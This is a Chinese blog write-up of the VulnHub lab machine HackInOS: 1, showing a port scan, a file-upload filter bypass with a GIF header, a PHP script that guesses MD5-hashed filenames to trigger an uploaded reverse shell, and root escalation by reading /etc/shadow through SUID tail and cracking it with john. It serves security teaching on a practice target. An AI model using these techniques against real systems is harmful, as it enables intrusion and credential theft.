黑客零基础第三章-Web漏洞实战-文件上传HackInOS: 1

第五节内容讲述了文件上传漏洞的利用原理,并在DVWA上进行简单的入侵实验。本节以实战的方式,结合vulnhub靶机HackInOS: 1让大家进一步文件上传漏洞的实际应用。
如果靶机部署有疑问,请留言!

目录

1.信息收集

2.获取低权限shell

 3.提权

 4.总结


1.信息收集

kali IP为192.168.17.4

发现靶机IP 192.168.17.9

使用第二章nmap命令扫描靶机,

nmap -p `nmap -p- --min-rate=10000 -T4 192.168.17.9 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//` -sC -sV --min-rate=10000 192.168.17.9
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-26 09:00 EDT
Nmap scan report for 192.168.17.9
Host is up (0.00027s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:c1:5c:20:9a:77:54:f8:a3:41:18:92:1b:1e:e5:35 (RSA)
|   256 df:d4:f2:61:89:61:ac:e0:ee:3b:5d:07:0d:3f:0c:87 (ECDSA)
|_  256 8b:e4:45:ab:af:c8:0e:7e:2a:e4:47:e7:52:f9:bc:71 (ED25519)
8000/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-generator: WordPress 5.0.3
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 2 disallowed entries 
|_/upload.php /uploads
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Blog – Just another WordPress site
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.73 seconds

扫描结果中有uploads目录,貌似可以上传文件。

打开浏览器果然有上传文件的地方,

查看网页源码,提示了一个github连接,有upload.php的源码。

 

阅读源码,发现只能上传png和gif图片,且上传后会对文件进行MD5加密。

2.获取低权限shell

将kali的php webshell进行修改,

 cp /usr/share/webshells/php/php-reverse-shell.php ./rshell_gif.php

 

在webshell前面加上GIF98a可以绕过限制,

 

 上传后显示被存到了uploads目录下,但没有告诉文件名,

 通过upload.php源码的阅读,我们可以写一个php脚本遍历加密文件名,

<?php
for ($i = 1; $i <=100; $i++) {
        $url = md5("rshell_gif.php". $i).(".php");
        file_get_contents("http://192.168.17.9:8000/uploads/$url");
}
?>

执行上面的脚本,遍历加密后文件名,

同时在kali上开启nc,获得低权限shell.

 3.提权

 枚举SUID程序,发现tail是SUID权限。

​​​​​​​

 用tail直接读shadow文件,得到加密的root用户密码,

 使用join进行破解,密码john。

root/join切换root用户,成功!

 4.总结

扫描后发现一个upload.php文件,查看网页源码,有个github连接,里面有upload.php源码。阅读源码发现上传文件类型做了限制,并且上传后文件名组合1-100进行md5加密。编写php脚本直接遍历1-100的md5加密组合文件名即可。

提权是一个SUID tail程序,直接查看shadow文件获取root用户的密码,john解密即可。

获取root权限后该靶机其实还没有结束,本节主要讲解文件上传,后续的部分大家可以参考其他writeup.

 

 

 

 

 

 

 

 

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值